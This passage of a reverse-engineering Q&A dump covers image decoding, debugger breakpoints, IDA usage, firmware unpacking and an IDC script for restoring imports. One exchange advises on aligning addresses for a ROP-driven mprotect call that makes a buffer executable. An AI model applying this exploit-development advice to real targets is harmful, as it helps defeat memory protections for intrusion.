All right, I have a PS3 image compressed with a variation of the LZ algoritm (magic bytes 43 5A 32 00) (I have successfully decompressed it) and what I get from the decompressed form is a set of ARGB colors/pixels (The number of bytes in the compressed file is 4*width*height thus I know that the decompressed file problably only contain the raw ARGB data).

\n\n

Here is an image illustrating the result of rendering the ARGB data (transparency omitted to makes thing easier to make out).

\n\n

Decompressed image:\n\"enter

\n\n

PS3 edition screenshot:

\n\n

\"enter

\n\n

PSP edition screenshot:

\n\n

\"enter

\n\n

What I want to know is if any of you know what sort of logic this color structure use? To me, it looks like it looks at the last color in terms of the y-axis. Where zero value just gets the value of the last color of the y-axis. It kind of looks like I have to dif/sum colors together.

\n\n

I have tried varies methods. For example, here I try storing a color array with zero color and for each line, sum the unsigned integer representation of ARGB of x position in the array with the new color' unsigned integer -> A+B = C.

\n\n

\"enter

\n\n

A-B=C, just gives pinkish giberish..

\n\n

Here are some samples of ARGB values that I use to try and find a solution:

\n\n
x:0, y:24-27\n\nR   G   B\n\n137 195 255\n\n240 254 000\n\n014 000 255\n\n001 001 001\n
\n\n

This should give a blueish color (comparing to Game screenshot) like: 145, 184, 219.

\n\n

*Please notice that my image for comparison isn't exact. That is to say that I got it from the same game of another platform where another format is used. Since the image sized are different. I can say that the colors aren't 100% the same as the new one.

\n\n
x:4, y:22-28\n\nR   G   B\n\n137 195 255\n\n118 168 201\n\n255 204 161\n
\n\n

This too should give a dark bluerish color like: 020, 068, 096.

\n\n

*Please notice that the compared color in the game isn't exact, the image has transparency\ntoo, so the game has problably messed with the color values of the screenshot.

\n\n

So if anybody have encountered stuff like this before and could give me a tip of some sort I would be very happy. :)

\n", "Title": "What is this way of representing color in this unknown image format", "Tags": "|file-format|", "Answer": "

You asked this a couple of months ago, but I'm going to answer anyway.

\n\n

First, I fear that your decompression code is buggy. There are several horizontal lines of noise, and I'm pretty sure they're not supposed to be there.

\n\n

Your A+B=C guess was correct. A tell-tale sign are the visible horizontal edges but hidden vertical edges. I think your mistake was simply to do the addition with the wrong endianness.

\n\n

I wrote a little Python script:

\n\n\n\n
from PIL import Image\nim = Image.open('orig.png')\nw, h = im.size\npix = im.load()\ndef add(p, q):\n    # Convert (R,G,B) tuples to RGB integers, add them, and convert back\n    pp = (p[0] << 16) + (p[1] << 8) + p[2]\n    qq = (q[0] << 16) + (q[1] << 8) + q[2]\n    r = pp + qq\n    return ((r >> 16) & 0xFF, (r >> 8) & 0xFF, r & 0xFF)\nfor y in range(1, h):\n    for x in range(w):\n        pix[x,y] = add(pix[x, y], pix[x, y-1])\nim.save('out.png')\n
\n\n

The result is this image. You can see that the top third matches the PSP image, but starting from the line of noise in the source image, the picture becomes distorted. Fix your decompression code and the picture will come out right :)

\n\n

\"processed

\n" }, { "Id": "3995", "CreationDate": "2014-03-31T15:25:19.527", "Body": "

Assembler syntax\nBKPT #\nwhere:\n See Standard assembler syntax fields on page A6-7.\n Specifies an 8-bit value that is stored in the instruction. This value is ignored by the ARM \nhardware, but can be used by a debugger to store additional information about the \nbreakpoint.

\n\n

what should i pass to this function? where can i see that value when i am debugging?

\n\n

BKPT #0 vs BKPT #1 - is their a difference?

\n", "Title": "what does the imediate value of the BKPT opcode is being used for?", "Tags": "|disassembly|arm|", "Answer": "

The immediate value is not checked by the CPU but may be checked by the exception handler, e.g. to distinguish between breakpoints inserted by the debugger from those added by the programmer/compiler. For example, the ARM semihosting interface uses BKPT 0xAB on ARMv7-M and presumably won't work with other immediates.

\n" }, { "Id": "3999", "CreationDate": "2014-04-01T02:55:05.873", "Body": "

Question came up in a reverse engineering class. The prof asked this question. I mean, in the grand scheme of things, while loops == for loops, I don't have a problem with that.

\n\n

IDA Pro book... Google... not seeing anything online here.

\n\n

So why does IDA pro never produce for loops in its pseudocode generator?

\n", "Title": "Why does IDA Pro's pseudocode function not produce for loops?", "Tags": "|ida|ida-plugin|", "Answer": "

Just because you haven't seem them does not mean they don't exist. In my experience the decompiler produces for loops all the time.

\n\n

EDIT: Here's just one example:

\n\n
 loc_804B520:\n                 xor     edx, edx\n                 jmp     short loc_804B52B\n\n loc_804B524:\n                 mov     al, [edi+edx]\n                 mov     [ebx+edx], al\n                 inc     edx\n\n loc_804B52B:\n                 cmp     edx, esi\n                 jl      short loc_804B524\n
\n\n

Output:

\n\n
  for ( i = 0; i < a2; ++i )\n    *(_BYTE *)(v2 + i) = *(_BYTE *)(a1 + i);\n
\n" }, { "Id": "4003", "CreationDate": "2014-04-01T13:04:04.667", "Body": "

There are some excellent DBI frameworks for Windows (Intel PIN, DynamoRIO...) but unfortunately none of them expose an IR afaik.\nI am looking for something like Valgrind's VEX that works on Windows.

\n\n

Any pointers / references would be greatly appreciated. Thanks in advance!

\n", "Title": "Is there any Dynamic Binary Instrumentation frameworks for Windows exposing an Intermediate Representation?", "Tags": "|windows|dynamic-analysis|", "Answer": "

dynamoRIO does expose an IR (see documentation).\nThere is just no \"written textual\" form of it, it is basically a 1:1 mapping of the underlying assembly language and thus very close to the underlying architecture.

\n" }, { "Id": "4008", "CreationDate": "2014-04-02T16:29:13.983", "Body": "

For the sake of this question I am going to simplify things. Basically I have a CMP that is comparing a memory address to a constant value. I want to change the constant value to force a match.

\n\n

I tried changing the constant value by hex editing and changing the value in ollydbg. Both methods cause the application to behave in an undesirable way so there must be a double check which checks the constant value. I have not found this second check yet.

\n\n

Now this is where it gets interesting, if I set a BP with ollydbg on the CMP command without changing anything the application behaves as if there was a change. I have confirmed this multiple times, I do not even have to stop or restart the application, once a BP is set the application behaves in a very distinguishable way and then returns to normal as soon as I remove the BP. This BP is never being hit! I have done some further testing and this only happens if the BP is set on the CMP command or the following 2 commands which are a JE and a MOV

\n\n

So I am wondering what does ollydbg write to memory to set a BP? and is this detectable?

\n", "Title": "Ollydbg breakpoint causing application to perform differently without BP being hit", "Tags": "|ollydbg|memory|", "Answer": "
\n

So I am wondering what does ollydbg write to memory to set a BP? and\n is this detectable?

\n
\n\n

By default, OllyDbg overwrites the beginning of an instruction with INT 3 (machine code 0xCC) for a software breakpoint (though it hides this from your view in order to simplify things). This is configurable in OllyDbg v2, which allows you to instead use INT 1, HLT, CLI, etc. for software breakpoints.

\n\n

Both OllyDbg v1 and OllyDbg v2 allow you to use hardware breakpoints or memory breakpoints instead of software breakpoints. All three types of breakpoints are detectable by the debuggee.

\n" }, { "Id": "4010", "CreationDate": "2014-04-03T01:58:01.033", "Body": "

How can I find the register value of another process at a specific address using python pydbg or any other module that can do that?

\n\n

Lets say that:

\n\n
Address               opcode\n006122CB              mov eax, [ecx+08]\n
\n\n

So, I want to find the value of the ecx register at this address.

\n\n

Windows 7 x64 bit

\n\n

Program x32 bit

\n", "Title": "Find register value of a remote process - pydbg", "Tags": "|debugging|python|", "Answer": "
:\\>cat memaccess.py\nfrom pydbg import *\nfrom pydbg.defines import *\n\ndef handler_breakpoint (pydbg):\n   if pydbg.first_breakpoint:\n      return DBG_CONTINUE\n\n   context = dbg.get_thread_context(dbg.h_thread)\n   print \"eip = %08x\" % context.Eip\n   print \"edi = %08x\" % context.Edi\n   return DBG_CONTINUE\n\ndbg = pydbg()\ndbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)\ndbg.load(\"c:\\\\windows\\\\system32\\\\calc.exe\")\ndbg.bp_set(0x101248a)\ndbg.resume_all_threads()\npydbg.debug_event_loop(dbg)\n\n:\\>python memaccess.py\neip = 0101248a\nedi = 7c80b741\n
\n\n

confirming with windbg

\n\n

:>cdb -c \"bp 0x101248a;g;r Edi;q\" calc

\n\n
0:000> cdb: Reading initial command 'bp 0x101248a;g;r Edi;q'\n\nBreakpoint 0 hit\nedi=7c80b741\nquit:\n\n:\\>\n
\n" }, { "Id": "4019", "CreationDate": "2014-04-04T19:57:12.843", "Body": "

My issue is all about setting the breakpoint on x64 Windbg. \nFor x86 to combine IDA and Windbg analysis nothing is required. Just copy and paste the IDA address value and it works just fine.\nFor instance, in x86 I have sub_401000, so, the corresponding breakpoint is set by bp 401000
\nIn x64 I have address sub_140001000, so, I'm trying to set as follows bp 140001000 and get no result at all. Application won't reach my breakpoint. That's why, I've just set bp 1401172F1 that reaches the address of interest for sure.

\n\n

But now I've faced with error

\n\n
Unable to insert breakpoint 0 at 00000001`401172f1, Win32 error 0n998\nThe breakpoint was set with BP.  If you want breakpoints\nto track module load/unload state you must use BU.\nbp0 at 00000001`401172f1 failed\nWaitForEvent failed\n
\n\n

All these answers make sense, but setting breakpoint for this rva leads to error for some reason. Maybe I should try something else?

\n\n
0:000> lmi\nstart             end                 module name            \n00000000`77570000 00000000`77719000   ntdll      (pdb symbols)          C:\\Windows\\SYSTEM32\\ntdll.dll\n00000000`77740000 00000000`77743000   normaliz   (deferred)             \n00000001`3fd90000 00000001`402e0000   module_of_interest   (no symbols)\n
\n", "Title": "Windbg x64 setting breakpoint", "Tags": "|ida|dynamic-analysis|windbg|x86-64|", "Answer": "

confirm if addres is accessible and correct

\n\n
u 0x1```401172f1 \nor\ndb 0x1`401172f1 `\n
\n\n

then set a bp 0x1 ``401172f1

\n\n

preferably sign/zero extend the address using backticks when you are not using a symbol to set breakpoints

\n\n

deferred breakpoints (Bu breakpoints) are more versatile than bp breakpoints as they are tied to symbol and not to specific address and thus are not influenced by aslr / loading / unloading of images

\n" }, { "Id": "4021", "CreationDate": "2014-04-05T05:06:24.430", "Body": "

I was trying out a ROP exploit -- I'm trying to make an mprotect system call using ROP(not a libc call), to try and make the buffer executable. I tried stracing the server process and ran the exploit, only to see that results in an error as follows :-

\n\n
mprotect(0xbffdda10, 65536, PROT_READ|PROT_WRITE|PROT_EXEC) = -1 EINVAL(Invalid argument)\n
\n\n

Later on, I tried a different address 0x08048000 and I could see that the call worked(strace output and /proc/pid/maps confirms this). Given a buffer address how could I guess/find the correct page address that I could use to make a call to mprotect.

\n\n

I think I figured out the reason why this happens. ASLR is enabled and the page that starts at 0x08048000 does not change addresses. However, the page that corresponds to the buffer changes addresses.\nThe buffer address can be leaked -- so I tried checking if the difference between the start of the page and the buffer address remains constant, it does not.

\n", "Title": "Calculating the page address a buffer belongs to", "Tags": "|linux|exploit|", "Answer": "

I'm not sure, but you probably experiencing the following issue:\nUsually page addresses are rounded by page size. It depends on page size in system you working with. So you can calculate this address by making AND operation with constant ~(PAGE_SIZE-1).

\n\n

If it doesn't work, try to call call mprotect twice:

\n\n
    \n
  1. first do read and write without execute,
    2. \n
  2. change the memory, and after that call mprotect with execute bit but without write bit.
    3. \n
\n" }, { "Id": "4034", "CreationDate": "2014-04-07T16:12:04.103", "Body": "

I am trying to extract the squashfs filesystem of my router. Here is firmware.

\n\n

First, I unzipped the file. Next, I ran binwalk to get some information about the file.

\n\n
DECIMAL     HEX         DESCRIPTION\n-------------------------------------------------------------------------------------------------------\n58          0x3A        TRX firmware header, little endian, header size: 28 bytes,  image size: 6656000 bytes, CRC32: 0x2B1713B2 flags/version: 0x10000\n86          0x56        LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 3614368 bytes\n1282426     0x13917A    Squashfs filesystem, little endian, non-standard signature,  version 3.0, size: 5367357 bytes,  853 inodes, blocksize: 65536 bytes, created: Wed Aug  7 05:08:47 2013 \n
\n\n

I then ran binwalk -e to extract the contents of the file. I got three files:

\n\n
.\n\u251c\u2500\u2500 13917A.squashfs\n\u251c\u2500\u2500 56\n\u2514\u2500\u2500 56.7z\n
\n\n

Running unsquashfs on 13917A.squashfs failed, saying it was unable to find the magic block. This was because the file was using a non standard magic. Changing the magic to a standard one made unsquashfs and file detect it as a squashfs file system. But unsquashfs did not complete successfully:

\n\n
caff@UbunutuX2:~/Netgear/test$ unsquashfs 13917A.squashfs \nReading a different endian SQUASHFS filesystem on 13917A.squashfs\nFilesystem on 13917A.squashfs is (768:0), which is a later filesystem version than I support!\n
\n\n

I also tried extracting the file system by using Jeremy Collake\u2019s Firmware Mod Kit. This failed also:

\n\n
caff@UbunutuX2:~/Netgear/test$ /opt/firmware-mod-kit/trunk/unsquashfs_all.sh 13917A.squashfs \nAttempting to extract SquashFS .X file system...\n\n\nTrying ./src/others/squashfs-3.4-nb4/unsquashfs-lzma... Skipping others/squashfs-hg55x-bin (wrong version)...\nFile extraction failed!\n
\n\n

How do I extract this squashfs file system?

\n", "Title": "Router Decompiling", "Tags": "|firmware|", "Answer": "

After unziping the arhive, run binwalk with

\n\n
binwalk -eM *.chm\n
\n\n

Flag e stands for extract automatically,and M for --matryoshka or recursively scanning and extracting.

\n\n

After a few recursive unpackings, you'll get a squashfs-root dir with what you want I guess.

\n\n

For what it's worth, I tried this with binwalk version 1.2.1.

\n" }, { "Id": "4040", "CreationDate": "2014-04-08T19:04:04.390", "Body": "

I am searching for security vulnerabilities in the firmware of this router, its architecture is mips. I have successfully unpacked the file system. I would like to disassemble the http daemon, located at /usr/sbin/httpd. How can I disassemble this program and run it in spim?

\n", "Title": "Disassembling MIPS Binaries", "Tags": "|disassembly|mips|", "Answer": "

Regarding the disassembling part, you may want to check JEB (version >= 2.3.0), which provides advanced disassembly and decompilation of MIPS 32-bit code.

\n\n

The MIPS debugger is only available for Android Linux though, so you won't be able to debug your program using this tool.

\n\n

There is a demo available on PNF Software's website.

\n" }, { "Id": "4047", "CreationDate": "2014-04-09T16:31:47.100", "Body": "

In IDA I can easily change the size of the local variables using Alt+P and then changing the \"Local Variables area\" field to the desired value.

\n\n

However, how can I do this with the parameters size? IDA has misanalyzed the function and got the result that it has about 30 kilobytes arguments when it actually just has 30 kilobytes variables.

\n", "Title": "How do I adjust the length of the parameters in IDA?", "Tags": "|ida|functions|", "Answer": "

Open the stack frame window (Ctrl-K or double-click on a variable), then delete bogus arguments with U.

\n" }, { "Id": "4053", "CreationDate": "2014-04-10T13:33:11.543", "Body": "

I have an old device connected to personal computer via specific PCI card. Device is handled with C++ control application, which is not able to run on new versions of Windows. Manufacturer of that device was consumed by big company a while ago and do not continue on development of such devices.

\n\n

What I want to do is disassemble communication protocol between this device and computer, respective between the software and PCI card; however, I am complete beginner. I downloaded IDA tool. I am able to trace application and find couple of subroutines that are often trigerred when application is sending commands to the device, but these subroutines contains others etc etc. \nAlso I could not find any meaningful strings in the disassembled application (i was expecting many short string instructions with numeric parameters).

\n\n

I would like to ask you for some advice, what I should do at first, or what to be careful on when I want to detect communication protocol.

\n", "Title": "Disassemble communication protocol for an old device", "Tags": "|ida|c++|communication|", "Answer": "

You may want to start with something simple like monitoring the API calls the controller application is doing. I'm not sure how old your Windows version is but it might be worth giving API Monitor a try. It gives you a good start to monitoring the application at least and you get to trivially see how it interacts with the operating system.

\n\n

Essentially what you're looking for is probably CreateFile followed by DeviceIoControl calls which use the same handle as returned from CreateFile. This is one way for an application to interact with kernel mode software. Another option is to look for a CreateFile call followed by ReadFile and WriteFile which is another common way for user space applications to communicate with kernel mode drivers.

\n\n

If your software is so old that we're talking Windows 9x you should probably use something like SoftICE.

\n\n

Once you've figured out these things you'd need to examine the driver for the card and look for the handlers for the DeviceIoControl calls you saw before or the ReadFile, WriteFile handling. We've had a similar discussion here and there is a decent resource available as Kernel Mode Driver Tutorial by Clandestiny which is getting a bit long in the tooth but still applies.

\n\n

This is quite a bit of work and I would strongly advice you to buy something like Practical Reverse Engineering, as well as A bug hunter's diary. They both discuss the issues of how to reverse engineer user space and kernel mode interaction. If you're very serious about this I would recommend also getting a copy of Windows Internals, Part 1 and Windows Internals, Part 2.

\n\n

If you want to look at the actual PCI traffic, which is probably not what you want to do, I think you have to go the hardware route. There's a PCI bus analyzer available from Silicon Control, then there's the expensive solutions from the big names, LeCroy and Agilent. Although I'm not sure if they still make PCI bus analyzers anymore or if everyone has moved on to PCIe. You also have the option of breaking out the bus yourself and using an FPGA to sniff the signals. ElectroFriends has a short introduction to the PCI bus available.

\n" }, { "Id": "4059", "CreationDate": "2014-04-12T09:43:28.897", "Body": "

I have put alot of work into renaming and fixing lvar types to better understand the code I made a mistake when I was converting some unk_dword to array I missed that it wasn't set to db but rather dd and it overwritten lots of stuff I lost many my own stuff which I know I won't get back but I can live with that, but I can't seem to get the imports to evaluate with the proper names like they were before.

\n\n

I tried Load->FLIRT signature file with Microsoft VisualC 2-10/net runtime which seems to be right, didn't do anything.

\n\n

In output Window I'm getting

\n\n

004DB200: Already data or code (hint: make 'unexplored')

\n\n

I guess I need to make it unexplored? how would I do that? I tried Undefining the Imports with the U Key it doesn't work.

\n\n

Here is some screenshots how it looks

\n\n

Before looked like this \n
\n\"before\n
\nAfter looks like this\n
\n\"after\n
\nHow it really looks like\n
\n\"imports\n
\nHere is how the bytes used to look like and how they look now (8 extra bytes)\n
\n\"import

\n", "Title": "IDA PRO Imports Names Lost in a accident, Reanalyze does nothing. How to make unexplored imports?", "Tags": "|ida|", "Answer": "

This fix doesn't save to database or is overwritten upon loading IDB database it always reverts back to messed up! (I think there is something I missed to change)

\n\n

Not the right way to do it.. but I managed to solve this using IDC Scripts

\n\n

Open a fresh IDA PRO let it analyze then go to File -> Produce File -> Dump Database to IDC File.

\n\n

Open dumped idc file in notepad and search for the start of Imports comments such as ; Imports from GDI32.dll since thats where the first Import starts.

\n\n

Now just copy+paste from the idc file all the way to the end of the function before the bracket.

\n\n

Backup your messed up project.idb file because this may mess up it even more if you are not careful!.

\n\n

Now go to File->IDC Command... and paste something I posted at the end of this post.

\n\n

IDC Command Text box has limitations you can't paste too much so you need to split up by blocks, I advise make sure your block starts with MakeDword don't end with that.

\n\n

Here was my first Imports from idc file what it generated below.
\n(This will only work for my application only obviously, just showing you what you need to look for.)

\n\n
auto x;\n#define id x\nMakeArray   (0X4DA0EC,  0XF14);\nExtLinA     (0X4DB200,  0,  \"; \");\nExtLinA     (0X4DB200,  1,  \"; Imports from GDI32.dll\");\nExtLinA     (0X4DB200,  2,  \"; \");\nExtLinA     (0X4DB200,  3,  \"; Section 4. (virtual address 000DB000)\");\nExtLinA     (0X4DB200,  4,  \"; Virtual size                  : 0000090E (   2318.)\");\nExtLinA     (0X4DB200,  5,  \"; Section size in file          : 00000A00 (   2560.)\");\nExtLinA     (0X4DB200,  6,  \"; Offset to raw data for section: 0002FC00\");\nExtLinA     (0X4DB200,  7,  \"; Flags C0000040: Data Readable Writable\");\nExtLinA     (0X4DB200,  8,  \"; Alignment     : default\");\nMakeDword   (x=0X4DB200);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB200,  \"GetObjectA\");\nMakeDword   (x=0X4DB204);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB204,  \"DeleteObject\");\nMakeByte    (0X4DB208);\nMakeArray   (0X4DB208,  0X4);\nExtLinA     (0X4DB20C,  0,  \"; \");\nExtLinA     (0X4DB20C,  1,  \"; Imports from KERNEL32.dll\");\nExtLinA     (0X4DB20C,  2,  \"; \");\nMakeDword   (x=0X4DB20C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB20C,  \"GetModuleFileNameA\");\nMakeDword   (x=0X4DB210);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB210,  \"WritePrivateProfileStringA\");\nMakeDword   (x=0X4DB214);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB214,  \"GetTickCount\");\nMakeDword   (x=0X4DB218);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB218,  \"CloseHandle\");\nMakeDword   (x=0X4DB21C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB21C,  \"GetFileTime\");\nMakeDword   (x=0X4DB220);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB220,  \"CreateFileA\");\nMakeDword   (x=0X4DB224);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB224,  \"GetPrivateProfileIntA\");\nMakeDword   (x=0X4DB228);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB228,  \"GetPrivateProfileStringA\");\nMakeDword   (x=0X4DB22C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB22C,  \"VirtualAlloc\");\nMakeDword   (x=0X4DB230);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB230,  \"VirtualFree\");\nMakeDword   (x=0X4DB234);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB234,  \"TerminateProcess\");\nMakeDword   (x=0X4DB238);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB238,  \"GetExitCodeProcess\");\nMakeDword   (x=0X4DB23C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB23C,  \"CreateProcessA\");\nMakeDword   (x=0X4DB240);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB240,  \"GetCommandLineA\");\nMakeDword   (x=0X4DB244);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB244,  \"SetConsoleTitleA\");\nMakeDword   (x=0X4DB248);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB248,  \"Sleep\");\nMakeDword   (x=0X4DB24C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB24C,  \"SetEndOfFile\");\nMakeDword   (x=0X4DB250);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB250,  \"SetStdHandle\");\nMakeDword   (x=0X4DB254);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB254,  \"GetFileType\");\nMakeDword   (x=0X4DB258);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB258,  \"ExitProcess\");\nMakeDword   (x=0X4DB25C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB25C,  \"GetNumberOfConsoleInputEvents\");\nMakeDword   (x=0X4DB260);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB260,  \"PeekConsoleInputA\");\nMakeDword   (x=0X4DB264);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB264,  \"GetConsoleMode\");\nMakeDword   (x=0X4DB268);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB268,  \"SetConsoleMode\");\nMakeDword   (x=0X4DB26C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB26C,  \"ReadConsoleInputA\");\nMakeDword   (x=0X4DB270);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB270,  \"SetEnvironmentVariableA\");\nMakeDword   (x=0X4DB274);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB274,  \"CompareStringW\");\nMakeDword   (x=0X4DB278);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB278,  \"CompareStringA\");\nMakeDword   (x=0X4DB27C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB27C,  \"LoadLibraryA\");\nMakeDword   (x=0X4DB280);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB280,  \"WaitForSingleObject\");\nMakeDword   (x=0X4DB284);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB284,  \"GetStringTypeW\");\nMakeDword   (x=0X4DB288);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB288,  \"GetStringTypeA\");\nMakeDword   (x=0X4DB28C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB28C,  \"IsBadCodePtr\");\nMakeDword   (x=0X4DB290);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB290,  \"IsBadWritePtr\");\nMakeDword   (x=0X4DB294);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB294,  \"IsBadReadPtr\");\nMakeDword   (x=0X4DB298);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB298,  \"GetOEMCP\");\nMakeDword   (x=0X4DB29C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB29C,  \"GetACP\");\nMakeDword   (x=0X4DB2A0);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2A0,  \"GetCPInfo\");\nMakeDword   (x=0X4DB2A4);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2A4,  \"GetEnvironmentStringsW\");\nMakeDword   (x=0X4DB2A8);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2A8,  \"GetTimeZoneInformation\");\nMakeDword   (x=0X4DB2AC);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2AC,  \"GetSystemTime\");\nMakeDword   (x=0X4DB2B0);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2B0,  \"GetLocalTime\");\nMakeDword   (x=0X4DB2B4);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2B4,  \"__imp_RtlUnwind\");\nMakeDword   (x=0X4DB2B8);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2B8,  \"GetLastError\");\nMakeDword   (x=0X4DB2BC);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2BC,  \"GetEnvironmentStrings\");\nMakeDword   (x=0X4DB2C0);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2C0,  \"FreeEnvironmentStringsW\");\nMakeDword   (x=0X4DB2C4);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2C4,  \"GetCurrentProcess\");\nMakeDword   (x=0X4DB2C8);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2C8,  \"HeapAlloc\");\nMakeDword   (x=0X4DB2CC);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2CC,  \"HeapReAlloc\");\nMakeDword   (x=0X4DB2D0);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2D0,  \"HeapFree\");\nMakeDword   (x=0X4DB2D4);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2D4,  \"RaiseException\");\nMakeDword   (x=0X4DB2D8);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2D8,  \"GetVersion\");\nMakeDword   (x=0X4DB2DC);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2DC,  \"ReadFile\");\nMakeDword   (x=0X4DB2E0);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2E0,  \"WriteFile\");\nMakeDword   (x=0X4DB2E4);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2E4,  \"SetFilePointer\");\nMakeDword   (x=0X4DB2E8);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2E8,  \"HeapDestroy\");\nMakeDword   (x=0X4DB2EC);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2EC,  \"LCMapStringW\");\nMakeDword   (x=0X4DB2F0);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2F0,  \"SetHandleCount\");\nMakeDword   (x=0X4DB2F4);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2F4,  \"GetStdHandle\");\nMakeDword   (x=0X4DB2F8);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2F8,  \"GetStartupInfoA\");\nMakeDword   (x=0X4DB2FC);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2FC,  \"MultiByteToWideChar\");\nMakeDword   (x=0X4DB300);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB300,  \"WideCharToMultiByte\");\nMakeDword   (x=0X4DB304);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB304,  \"LCMapStringA\");\nMakeDword   (x=0X4DB308);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB308,  \"UnhandledExceptionFilter\");\nMakeDword   (x=0X4DB30C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB30C,  \"FreeEnvironmentStringsA\");\nMakeDword   (x=0X4DB310);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB310,  \"HeapCreate\");\nMakeDword   (x=0X4DB314);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB314,  \"SetUnhandledExceptionFilter\");\nMakeDword   (x=0X4DB318);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB318,  \"GetFileAttributesA\");\nMakeDword   (x=0X4DB31C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB31C,  